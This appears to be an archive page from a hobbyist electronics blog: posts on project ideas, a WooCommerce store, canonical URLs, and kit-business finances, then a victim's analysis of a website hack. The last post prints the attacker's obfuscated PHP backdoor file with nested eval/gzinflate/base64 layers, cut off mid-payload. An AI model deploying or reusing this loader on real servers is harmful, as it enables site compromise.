Archive for the 'Business' Category
New Project Ideas
It’s high time for a new project here at BMOW. These days I spend so much time on Floppy Emu, it’s hard to squeeze in anything else! A new project would help stir things up, and get the creative juices flowing. Here are some ideas I’ve been kicking around:
Electric Scribbling Machine – I described this one in yesterday’s post. It’s a tripod with colored pens for legs, and a motor that makes it move, drawing tracks on the paper beneath it as it goes. Yesterday’s post described a “vibrabot” design using an offset weight on the motor shaft, which randomly jiggles the machine and creates interesting erratic drawings. I’ve since been working on an alternate design in which the motor is used directly as one of the legs, which spins the whole machine in rapid circles, and creates elegant looping drawings somewhat reminiscent of a Spirograph.
USB Keyboard/Mouse Adapter for Vintage Macintosh – Classic Macintosh computers like the Mac SE and Mac II series used input devices based on ADB – the Apple Desktop Bus. The Mac Plus and Mac 128K/512K were more primitive, and used custom protocols for keyboard and mouse rather than any bus-based system. Both systems are fairly well documented, and I have some experience with them already. Using a modern microcontroller, it shouldn’t be too difficult to build an adapter that functions as a USB host for a modern keyboard and mouse, and translates the input data to ADB or the Mac Plus protocol.
Weather Logging Station – A few years ago I designed the Backwoods Logger, an ultra-tiny portable weather station. I envisioned it mainly as a graphing altimeter for people going on mountain hikes. After many discussions with interested people, it became clear that most people didn’t care about portability, or about having graphing functions or even a screen. What they wanted was a stationary module that could take regular temperature, pressure, and maybe humidity readings, and save a history of weeks or months of data. There are already a few designs like this, but maybe they’re too intimidating or their feature set isn’t quite right, because I still get occasional emails from people asking for something like this.
Nibbler Kit – Nibbler is a 4-bit CPU that I designed entirely using basic 7400-series logic elements. It was a one-off project for my own entertainment. William Buchholz later designed a nice Nibbler PCB for his hacker group, which got me thinking that something more polished would be nice. My web stats say the Nibbler pages are some of the most popular content on this site, so maybe there would be enough interest to justify a Nibbler kit? My only fear in offering a kit for something this complex is the potential support headaches. It might make more sense to offer finished Nibblers instead of kits, though that would take some of the fun out of it.
Electric Bow Tie 2.0 – As with the Backwoods Logger, I think I misjudged popular interest when I designed the Electric Bow Tie Kit. It’s fun to have neckwear that blinks and beeps, but mostly people don’t seem interested in assembling a kit – they just want something kitschy they can wear to a special event and get some laughs. I can say from personal experience that the blinking effect is fun, but the beeping effect starts to grate on your sanity after about 60 seconds. Electric Bow Tie 2.0 would probably drop the sound effects, but add many more LEDs controlled by a microcontroller, enabling all kinds of entertaining and annoying patterns like chase lights and starbursts. I’d also try to replace the 9V battery with one or two smaller CR2032 batteries to reduce weight.
Read 17 comments and join the conversationA New BMOW Storefront!
At last, BMOW is moving into the modern world with a new online storefront! As I mentioned in the Profit and Loss discussion a couple of weeks ago, the old solution of PayPal payment buttons and order tracking left much to be desired. The new storefront isn’t anything fancy, but it’s still a tremendous leap forward in terms of ease of use for me, and is also far better looking for customers.
You can browse the new store using the “BMOW Store” link at the upper right, and it’s fully functional and ready for purchases. For the time being, the “add to cart” buttons on project pages like Floppy Emu’s will continue to point to the old PayPal payment buttons. This provides an easy back-up solution in case anything goes wrong with the new system. Visitors using the BMOW Store link will make purchases through the new system, while those using purchase links on the BMOW project pages will continue to use the old system for now.
WooCommerce and Friends
After looking at many different e-commerce and shopping cart solutions, and installing and uninstalling Zen Cart, I finally settled on using WooCommerce. WooCommerce is a popular e-commerce platform that’s implemented as a WordPress plugin. The basic package is free, and the developers earn their income by selling a variety of add-ons and themes. As I discovered, it’s quite easy to set up a functional and attractive storefront in just a few hours. In order to minimize the risk of conflicts with my existing, heavy-customized WordPress install, I created an entirely new WordPress installation in a subdirectory of the BMOW site, used exclusively for the WooCommerce store.
I’m still using PayPal for payment processing, but the method is now PayPal Express instead of the clumsy PayPal payment buttons. The shopping cart functionality is implemented entirely on the BMOW site, within WooCommerce. When a shopper is ready to checkout, he’ll be redirected to a PayPal page, where he can enter a credit card number or his PayPal account credentials to authorize the purchase amount. He’ll then be redirected back to the BMOW site for a final review, at which point he may cancel or submit the order. Using this method, I avoid needing to ever directly handle sensitive payment info like credit card numbers. But customers still complete their transaction experiences on my site, where I can show them a thank you page, and maintain purchase statistics.
A few additional WooCommerce-related plugins proved handy:
- PayPal for WooCommerce – Enables use of PayPal Express functionality, and tighter integration with PayPal
- WooCommerce Weight Based Shipping – Charges different shipping amounts depending on the calculated total weight of items, destination country, and shipping method
- Storefront Site Logo – The default theme inexplicably lacked a way to add a logo to the store’s header
All of these plugins were free.
Cleanup
The only major concern I have isn’t a technical problem, but a design issue. With the introduction of a storefront, all of my creations now have product pages, in addition to the project pages that already existed (and that formerly doubled as product pages). This will be a source of confusion. For example, which page should be considered “the” ROM-inator page: the pre-existing ROM-inator project page or the new ROM-inator product page? Which one should a reviewer link to, or a potential buyer look to for details? Which do I want to appear first in the Google search results for “Mac ROM-inator”?
This may seem like a minor issue, but I’ve spent significant amounts of time thinking about it. I definitely want to avoid a situation where the mind-share for each of my inventions is semi-randomly split between two different web pages, with duplicated information. I looked for examples of how other sites addressed this problem, but couldn’t find any similar examples. My current approach is to keep the project page as the “official” page, with the product page having a much shorter description focused on actual purchase details, with several links back to the project page for further reading. This hopefully makes it clear which page is the main one, but at the expense of removing information from the very place in the store that would-be buyers need it in order to make a buying decision. So it may actually cost me sales. I’ll evaluate how this works for a while, and consider making the product page be the main one if necessary.
Happy shopping!
Read 3 comments and join the conversationWordPress, https, and Canonical URLs
About a week ago, I added an SSL certificate to the BMOW web site, in preparation for some improved shopping cart features. With an SSL certificate signed by a certificate authority (free from Let’s Encrypt), the site can serve pages using the encrypted https protocol as well as the standard non-encrypted http. Pages encrypted with https will show a padlock icon or something similar in the address bar of most web browsers, and are normally used for handling sensitive content like payment info for a web store. My plan was to continue serving the existing blog pages using http, and use https for the new shopping cart pages. But it’s technically possible to serve any page from the site using https – try it! Just manually edit the URL of this post in your address bar, and change http to https.
The main blog pages aren’t designed to be served with https, however, and they contain embedded non-secure content like images and comment forms that use the http protocol. If you view this post as https, it will work, but your browser will probably display a warning about insecure content. If you try to post a comment, you’ll see a warning about a non-secure form, and if you persist in posting the comment you’ll see an error 403: forbidden message.
Since nobody ever visits the BMOW site using https, I thought those security warning didn’t matter, until I discovered that Google has started replacing all of the BMOW links in its search results with https versions of those same links. Someone who searches Google for “KiCad vs Eagle” might see a result with an https link to my post on that topic. Following the link, they’ll get a bunch of security warnings from their browser. And after commenting on the post, they’ll get the dreaded error 403. Oops.
I learned that Google prefers to index pages as https rather than http, if it discovers that a web server supports both. After doing more research I considered a few paths out of this mess:
- Go full blown https everywhere on the site. Fix images, comment forms, and other content that use http.
- Redirect https requests to http versions of the same URL.
- Use canonical URLs to instruct search engines to index the http versions of pages, not https.
Switching everything to https would be lots of work, and wasn’t the end result I wanted anyway. Redirecting all https requests to http would probably be OK, but seems a little bit drastic, and I’d need to carve out exceptions for the shopping cart and admin pages.
Canonical URLs
Canonical URLs are a nice feature, and I decided to use them to solve this problem. In the header section of any HTML document, you can include a link like this one:
<link rel="canonical" href="http://www.example.com/mypage/" />
and search engines will index the page as http://www.example.com/mypage/, regardless of whether they reached the page as
http://www.example.com/mypage/ https://www.example.com/mypage/ https://www.example.com/mypage/?q=vegemite
WordPress automatically adds canonical URLs to some pages, but not all, so I installed the Yoast SEO plugin to gain more control over canonical URL generation. Yoast added the canonical URLs as expected, but not in the way I needed. If I visited a page on the site using http, then Yoast would generate a canonical URL link beginning with http://. But if I visited a page on the site using https, Yoast would generate a canonical URL link beginning with https://, which was exactly what I didn’t want. I was finally able to force canonical URLs to always start with http:// by inserting this code snippet into my WordPress install’s functions.php:
function design_canonical() { global $post; if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == "on") { $find = 'https://www.exampledomain.com'; $replace = ''; $theurl = str_replace($find,$replace,get_permalink($post->ID)); return site_url( $theurl , 'http' ); } else { // Leave blank and Yoast SEO will use default canonical for posts/pages } } add_filter( 'wpseo_canonical', 'design_canonical' );
Fixed?
This should be all that’s needed to make Google, Bing, and other search engines use http for indexing all my content. It may take a few days for the Google index to be updated with the new links, but eventually everything will be http. And that should be enough to prevent visitors from accidentally viewing the site content as https, right? Well, maybe not. I had forgotten about the existence of browser plugins like HTTPS Everywhere that attempt to force use https wherever they can. Even if Google’s no longer sending traffic to https versions of my pages, then, other sources of https traffic still exist. And those visitors will have all the security warning and error problems I described.
I’m scratching my head, wondering how to proceed. Redirect all https traffic to http, as I’d originally considered? Or leave everything as is, and let HTTPS Everywhere visitors deal with the problems that extension creates? Maybe there’s another simpler solution. It all makes me appreciate how complex the job of a web site admin can really be.
Read 11 comments and join the conversationKit Biz Profit and Loss
Have you ever wondered what life is like in the “kit biz”, with a part-time business selling electronic gizmos to hobbyists? Maybe you’ve thought about selling one of your own creations, or were just curious if it’s possible to make any money this way. In the spirit of helping the hobbyist community, I’m sharing the 2015 BMOW profit and loss breakdown here. My hope is that others might provide some helpful insights, or learn something that can help their own efforts. Normally I would keep this type of information private, but I decided there’s no harm in sharing, and more knowledge can only help.
BMOW began as a place to document my personal electronics projects and musings, and remains primarily an electronics blog. But along the way, it accidentally grew into a small business too, as some of the projects generated interest from readers wanting to buy hardware for themselves. Chief among these is the Floppy Emu disk emulator for vintage Apple computers, and its related accessories. The Mac ROM-inator replacement ROM for early Macintoshes also has a small but devoted following. Today BMOW is a part-time 1-man business, to which I devote an average of about 10-20 hours per week for R&D, hardware assembly, customer support, and order fulfillment.
Total BMOW gross revenue in 2015 was $55,097. As you can see in the graph, month-to-month revenue varied more than 2x. There was an obvious bump in June and July, when the addition of Apple II emulation features boosted Floppy Emu sales. Sales also jumped in November for no discernible reason, and inexplicably slumped in December during what should have been the year’s strongest period (but recovered in January 2016).
The gross revenue figure includes all the money I collected: that’s money from product sales, California sales taxes collected, and shipping fees. I don’t really consider the latter two as income, because they go to the state or the post office, and not into my pocket, and their inclusion here makes the “revenue” figure look more impressive than it is. Accounting experts might argue whether sales tax and shipping fees should be included as revenue, or dealt with some other way. I’ve chosen to list them as revenue, with an offsetting expense listed later.
Expenses
Of course that money isn’t all profit. Let’s look at the expenses for the year:
I rang up $31,000 in total expenses for 2015, resulting in a net profit of $24,097. Assuming I worked an average of 15 hours per week, that’s $31/hour before paying income taxes. That’s a lot better than the federal minimum wage, which is one test not every kit biz passes. But it’s a lot less than my typical hourly rate for consulting work, or the rate I could likely earn at a full-time electronics engineering job. One of my big goals for 2016 is to reduce the amount of time spent on things like support and order fulfillment, by searching for efficiency improvements. Much of what I do now is very labor-intensive, and there’s lots of opportunity to make more effective use of time.
I collected $429 on behalf of the state of California, which is an extra hassle that involves a special tax return filed each January. PayPal and eBay took $1982, or about a 3.6% cut of gross revenue. Given how frustrating and awkward PayPal is to work with, I don’t enjoy giving them anything, but it’s about the same rate that I’d pay if I accepted credit card payments directly. I made only a couple of eBay sales in 2015, which is fortunate because they charge 10% commission on top of PayPal’s 3% fee. Ouch.
The post office must really love me: $4172 in postage fees! Sometimes I wonder how eBay sellers in Asia can ship to the USA for a dollar or two, when I can’t even send a package within the USA for less than $6. International postage for small packages to most countries except Canada starts at $13, and (as of rate increases a few weeks ago) is over $20 for the weight of a typical BMOW order. My customers pay the shipping costs, so it doesn’t directly affect me, but I wish I could offer lower shipping rates.
The $378 for equipment represents hardware development tools and machines used for testing. Office supplies like shipping boxes, paper, address labels, ink, and bubble wrap were a $327 expense. The cost for web hosting fees and a few commercial software programs totaled $265, and my city business license was $321.
Hardware is Expensive
The biggest BMOW expense by far was the $23,126 cost of hardware and assembly. Unlike a software publishing business, selling hardware gizmos requires spending a lot of money upfront on hardware parts first. These parts must be purchased in large quantities to get the best prices, so it’s necessary to go into debt temporarily, and make up the debt later from product sales income. In my case I didn’t literally go into debt, but for a while my year-to-date expenses exceeded revenue by several thousand dollars. I have a lingering fear that demand will suddenly evaporate just after I make a big hardware purchase, or something will happen to make my products instantly obsolete, and I’ll be left with thousands of dollars in useless inventory.
$23,126 for hardware and assembly is a big number, so let’s break it down:
Floppy Emu boards are built by Microsystems Development Technologies in San Jose, CA. The cost for parts and assembly of the “core” Emu modules came to a whopping $15,679. This doesn’t include the LCD displays and the ever-elusive DB-19 connectors, which were purchased separately for $1345 and $733, respectively. The clear acrylic case for Floppy Emu is a popular option, and I spent $2058 on materials and laser cutting services for those. A further expense of $1265 was for the SD cards used in the Vintage Software Collection. I buy a lot of SD cards.
$580 went towards making PCBs for hand-built Floppy Emu accessories: the Universal Adapter and the A/B Drive Switch. This amount also included other non-Emu projects like the ROM-inator, Sonic Bow Tie, 68 Katy, and various prototypes and experimental hardware. The chips and other components needed to populate all those PCBs ran to $1460.
Room for Improvement?
This was a good result for 2015, so I’m not complaining. Still, there’s always room for improvement. While I’d love to boost sales volume or drive down costs, the area that’s most ripe for improvement isn’t money but time. There’s a tremendous amount of manual labor involved in most of what I do, and some weeks it cuts into my spare time so much that I deeply resent it. And even during weeks when the labor effort is more manageable, I’d rather spend an extra hour developing a new feature, or researching a new project, than bubble wrapping and boxing. Going forward, I’m going to look for opportunities where I can pay someone else to offload some of the manual work. Even if my costs go up as a result, and my net profit goes down, I’ll still consider it a success if the profit per hour of time spent improves. After all, it’s not my goal to spend every last waking hour of my life devoted to weird electronic gizmos – there are other things.
Here are some of the time-saving ideas I’m looking at for 2016.
Testing – During assembly, Microsystems Development Technologies verifies that each Floppy Emu passes its built-in self-test. Once I get the hardware, I do further testing myself: adjusting each unit’s LCD contrast, assigning a serial number, and actually running an emulated disk on a Mac or Apple II system. That all takes time. Initially it seemed unthinkable to send Microsystems an old Mac Plus and instructions for booting up System 3.2, but now I’m considering doing exactly that. They’re smart guys, they can figure it out.
Low-Volume Assembly – The items with lower sales volumes, like the Universal Adapter and A/B switch, are hand-built one at a time by me. They don’t take more than 10 or 15 minutes at most, but sometimes I just want to ship an order without hauling out the soldering iron first. Even when I build a few at a time to keep a small stock on hand, it turns into a few hours of work here and there that I’d rather spend on something else. Microsystems might not be the right people to build these for me, but there are plenty of other low-volume assembly services like Smart Prototyping. I need to find the time to research them and make an order.
Fulfillment – The most manual of the manual labor I face is order fulfillment. That means printing invoices, picking hardware out of boxes, sorting things into little piles, bubble wrapping, boxing, and taping. I once had a summer job as a shipping clerk, and this is pretty much exactly the same thing. And it still sucks. I could improve on this a little if I had a dedicated shipping area, with big rolls of tape and bubble wrap and boxes neatly stacked and ready to go. At times I’ve paid my daughter to do this work, but she doesn’t like it much either. Maybe a part-time helper from a temp agency? The need for this help is irregular, so I’m not sure how well a temp employee would work anyway.
PayPal and Postage – In an ideal world, I would log into a web site, and click a button to fetch all my new orders. This would automatically update my sales history, print a bunch of invoice slips, calculate the weight of each outgoing package, purchase the necessary postage, and print it. But in reality this process requires a crazy combination of the PayPal site, US Post Office site, and custom software. It’s an orgy of clicking, cutting and pasting, and manual steps. PayPal requires purchasing and printing postage for each order, One. At. A. Time. The post office web site lacks a way to import shipment details, so information must be manually pasted into forms and drop-down boxes stretched across several pages of the site. And don’t get me started again about their abysmal handling of international package addressing, which I’ve discussed here before (1, 2).
For postage there are alternatives like Endicia and Stamps.com, which should allow importing shipment details and combining purchases of all postage for a set of orders. Both services have fairly poor reviews, so I’ve resisted making the switch, but they can hardly be worse than the system I’m using now. On the payments end, unfortunately I don’t see any simple alternative to PayPal. It’s often clumsy and frustrating, but it provides a basic shopping cart system and handles a wide variety of payment types from nearly every country. Square seems more geared towards physical storefronts and swiping a credit card. Amazon Payments may be the most similar to PayPal, though I don’t know much about it.
Did you ever sell a product online? What was it?
What’s your favorite maker-friendly electronic gizmo?
Have a good post office story to share? I once received a coconut mailed from Hawaii. Just the coconut, with my address written on the shell.
Read 14 comments and join the conversationWeb Hack Analysis, Part 3
Web Site Hacked
Web Hack Analysis Part 2
Web Hack Analysis Part 3
I believe I’ve identified how the hack on my websites occurred, and it wasn’t a WordPress vulnerability. It looks like the hacker got my Linux user password somehow, and then used ftp to login and modify the files on my web sites. Using the Linux command “last”, I generated a list of all logins from the past month, showing the method of login and the IP address. The result is shown above (I’ve blurred out my username because I’m starting to get paranoid, but it probably doesn’t matter).
There are lots of logins from 73.15.247.250 – that’s me. Some were console logins using ssh, and some were ftp logins. But on July 10 at 4:53 AM, there was an ftp login from 104.238.150.48. And not coincidentally, my site’s index.php file was modified 1 minute later, at 4:54 AM. Bingo.
Unfortunately the logs only go back a few days, so I can’t find any earlier instances of suspicious logins. And the FTP logs don’t even go back as far as July 10, so I can’t tell exactly what the hacker did when he connected by ftp.
So how did somebody get my password? Most likely it was due to my use of plain-old ftp for transferring files from my local machine to the web site, which sends my password over the internet in plaintext every time I log in. I knew it was insecure, but I did it anyway because it was convenient, and I figured “what could happen?” Well, this is what could happen. So I’ll be using sftp from now on.
If you’re a security guru or Linux know-it-all type, feel free to tell me what a dumb-ass I am. Believe me, I’m telling myself the same thing.
Read 7 comments and join the conversationWeb Hack Analysis, Part 2
Web Site Hacked
Web Hack Analysis Part 2
Web Hack Analysis Part 3
Yesterday I described how the BMOW web site had been hacked, and my efforts to clean it up. Today I began looking at some of the hack scripts that were left behind, to try to understand how they work. It’s a fascinating glimpse into the mind of a malware author. The more I dug into it, the more it began to resemble peeling the layers of an onion, or opening a set of Russian nesting dolls.
The hack scripts are written in heavily obfuscated PHP. Some new PHP code was added to the beginning of the existing index.php file, and three new PHP files were also placed on the site. For this analysis, I examined one of the new files, named your.php. Here’s the file in its entirety:
<?php
eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x
65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'TVXHCuxGEPwXX2yjwyoHfFKWVjkH3kU5x1X+e
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
NR/QJjf/vzrbw=='\x29\x29\x29\x3B");
?>
OK, it’s calling eval() on some long string. The first few dozen characters of that string are written using ASCII escape sequences, as well as the last four characters. For example, /x65 means the ASCII character with value 65 (hex), which is a lower case e. Presumably this is done in order to further obfuscate the code’s true nature. If we substitute the ASCII characters for each escape sequence, then the script will look like this:
<?php
eval("eval(gzinflate(base64_decode('...big long encoded string...')));");
?>
We want to look at the real program, the piece of text that’s been base64 encoded and gzipped here. So I stripped off the leading eval() calls, since we only want to look at the program’s code, not run it, and changed it to an echo() call instead. Then I ran the modified program in a local PHP interpreter. It revealed that the real program is this:
eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65
\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'xVW3DuwGDvwXN/ZhC+UEw4VyzmEl4TWSVjnn8PVe+
xm4K653MRhwZggQZMH8SLrffvlx4diPi8C/DH3B/rhg8svEV6O/TH3Bf4H/9P7KEOjPnr9z8D8a8lNDvjn
k62PCt/4nh//l/U8Nk7+692G4N6E8OuW5ent4LT7pHA/pXur7bLurH8WfzbRmaDVw6CBlknfENnojc4k+e
zTCbGqvO6EYt8zKd0bVl2nbgxz/8MydabhrZC6tqCWDtZxR+1zCj5VXOtVYCu0NCUzL+e9JSQIht8fZdca
5dtghkeUuKfk/fv1OSP0XCPPLf37P/71VGbElcdsWcXwY9gkZMULXonKo+uDbrqJ5Q+ZdSFl3sZgghd5TY
Z1ovz5lmeudVrIcqhUIgVFUUbxAHyglYvtYJU92hYnTL16j4PU4jwkdrQPegeylItQRStvrtjqAQMEDgLi
LPKiifAgQOELo9SrY4b1Ze04BeoOcvUsbDbKAZhQzLYE+eUzLnpFtMpR8pz06xfloWaGEyYdefAhs3VDUh
LlyF+UFLRNMSY/PBCZDJI6ghWUyRNgrmUroxhAcBjuucG/rVZnwEey0LUJBwFDbm3K1GSJHBCYLLQ15QIF
Dt9ZQ0YSEcDR0ZKgo+rKMku6jidXAKuZvQTTiVUiKnGPtmD4OQL1rXRrJDHxzRYdH2Lsm+4KqhiytMwrZx
z2LxMY+CaGEKAs+mJhC0WvXBYJDYbli2COKFQVk1mgmGzkffQWm49ma2dOY7SYDidA45GLVTQbiqtw7ZCe
0orG0IOgxuV6L9Yiqj1C57HYuwqfk8dZ0FqRGjCHU10ywYS4nh7165ffTDDA2uDNFAeV7ihm7V2XxPo+Hk
YhmrUE0C43Ewtd9qjCz0+do4VETHUAPzx6u1zHFIcIdkD2xcEydYjajMvVXv8yOVjB4GoTDIe0BFXrZbgm
fCm9EGZnZxIU7884EEe18ZHtykX1xvfEayqaYw+aNUYymAMkxpwKGRyzpa/0Mby9JLsvNk8eKknYnkmkxT
8Gb2nwUIaS82S8RR/tpt3VB8qDPJwIlhvdqlTshR7aTu5bSHfDdPmPp3kJBrRi9bmYcxUbeH3mo6fJspU0
REcAI6cpwFdmksYKl202zTeg60Zv5KCrBEQhb1Q3ehoLKOKvlTzKEL4ueYnGVwXhfi2jyHi7MOKSuuWeTm
hIq8p4OBiM6Ojgnw7XnwgaxNSVIoGN/heIiMGRtTz/vHTXhT3zE3eEN+2MaxnCJXS6wxKp3nBQrO5wC2O0
glaHsuBreAWPrhFVhnIPnwovYU8cS80j2JHWclGmTlY9NVbkRkvp9NpLMpL0NPHm4yBE6pkcMb+97ZDvLj
vWS11SwT6dohDgGnOj3RPHv5zSDxBl4jR5zlAo1VxbnBxDypUtc7dUuNTwZmRBGeWpWMyRWw4G7msG5HyT
w3+Q7BrTSF44UvLqcRhYXfaxKDYa+Xi9v9WDUf90yQS8fVZBhPmnPvjyziuFCKButGSulbFzYRnNLEdU+H
e6OVb7kKYL2x7KmDnmp2GuhC8rBg0G44ecZOry1eY4dZqQUUpNKA7i6RcMXl2zAm+haHbDTCU7AloNQh65
1rXCY2Bz0RlC69z3MjbGKGaquHX12Bo2H6LPSBK2i/CpvazGArxtPqEVxBQ9AnVxbx8Plnc7yav3qHqIzH
RRBHeypQyNGybPZel8zAxfDBfR7cFecvW3jxidzcnWdm6sjj5bdroXVzAInswdBfNysHt9WZzJihaE2yNS
9mhHqdoIDk1jJDcPvHv67WS9oROTc7XRcsQa7khPjudHX3wjLZ83VNApaLuGmajgo7GPVCx8qSTI+xcQON
o24RXftqauhlR24WvicsmLiA4FS6C2qxeUf12cs00E6pHdDRk32crfNYDph2V9FWcL2NBSzU52D60PNkU4
NmDOhPJ4blBd6XE260QABwCsvpOP84/++uj8B'\x29\x29\x29\x3B");
Haha! If one layer of eval(gzinflate(base64_decode(…))) is good for obfuscation, than two layers must be better right? Apparently the malware author thought so. Let’s apply the same technique again to reveal the hidden code:
eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65
\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'SyvNSy7JzM9TSMkvTk6pMDE1MTbUUCkuKdJUqObiB
AKVRAVbBaWYCjMjIDaMqTA3BtKmMRXGZkBsElNhmgbkm0DEzEBycL6SNcSAJKgB5kDNiUDaEohTgRhogFk
y1FBkDUWpJaVFeQoqSRoqiRCnaIIlagE='\x29\x29\x29\x3B");
eval("\x65\x76\x61\x6C\x28
\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63
\x6F\x64\x65\x28'NZPHDttYDEXXma8YBFlk4IXKU0WQhYqt3quFbCSrPBVb1WpfPw4mszggeMlLgCD4L
f37599ff+0U/gH7tdPgE8lfO6A+EL92svwvp4oPv2u/c+K39vXHt+yPl/740v/1Dx8v9fgz70/vX1++fCn
WtPue9/Mj3wmSANj3r0OYZBk74zeZAITNctI1aXmavlJRdLcfJXadArU10kSXGLFqhSrJ+1rp29HzUBVOB
7aRFLXganY5+apg1y53620lDfSyP+hO2vVuAQG1VVB9tW9SLq18o328fLbXE/J2XSiL4GO1FXoNM3nh9Ax
PNgAmYpCL0hZEyFGNZsFafeDCQZAvv/KyiMHo8c0WDfl6Y5Wi8mf9hncbic93uoucYGjQw7Fg19P2vBZ94
4xuMF7D42IhBCvYZJJ0BsYq8jIeoUJ2AZqPqCwNqQjc07XNvIfsMOB1DheTvIRXPYogP11zODmLZMY9ivX
JxQkqfXzgE6kORr3i3NnXMscFQ2De8nuh+eyzjn25nSq99/gWpZBQmKIGywvzBH7jsi04cXNaP6suph5Ol
MqYrE4O4n0T6czDmM5JR7Xu/ITGfROM9BtNhOM+mrqRLfB6bVXnvHuV9XTcuPFdh6jGI3qCaS2lOycFG4l
U3tzeGC+DmN+ngjfqXjW59BLJ/avqbF56YC8ULmq2t+HIggtTIoh9HuRYIAGeb0y9tU437HejuxG64mpuQ
MFHT1ddY0HBETiKDw1RIQayiHbu/USmcCAmP40LfoTlqBRJQ3WdIniAgwkHtJG3/NXAhNSJIOA5fCAktLQ
O1xw4yBdJK7D73Chij6kXFKBRsPUpI16rrMb5Zhc26miG4aWnx5NvHljyqO9pa9YTzl20YAYvDRc6Lzx5n
GkOH1FAZUs1ZfVNILubdWu4O2dZvZlvTnuzONNnxGleFC7sMlDHZJu2b/5yR3hNJu6KXyVBQM7Ph5DR6eF
+7ubRPGeYITHKopJptIJdQ9heNX8MywjHIBbmQ/zeXrIY4obvZ2tWyoClPQZMgELK0mbpYo1DB0pAWp9EW
zwOVaRnELAoe49XLSIGqz/FerlaSL+kri2pNcFXYebOhq1Ghnv6SLNDSd3VUW8WZ/LgUFvb0xleA3rS4zP
hKVnmisxTsT24U+yI7ArdKFI2EakwmgwchBDX1coPq5gHcorCjLSgG4Ldl6Sohereb34mvrsbR8xK5+rAf
9R6VnFy2zznl6kQEDCnq3gFbO9bV2hyGNUGrcn6jYxsR0lM7DF5rv7KnlkSPXnpCe0To0HyuuXeNohZB9i
iRMqRnLE1AwhLFLh9UhekiGV2xy6a9rJSFT/4ReLsovSERlPTiMxlz7lOR434R5ziXNZ48wjtmULOVS56F
4zx5SGqTttDozcReKsqjxl8vkCtxrCLOf68cz33U6OhzUQKq8YCFniN8bSxjo1lu7D0aZJeNNUlzEUW8TV
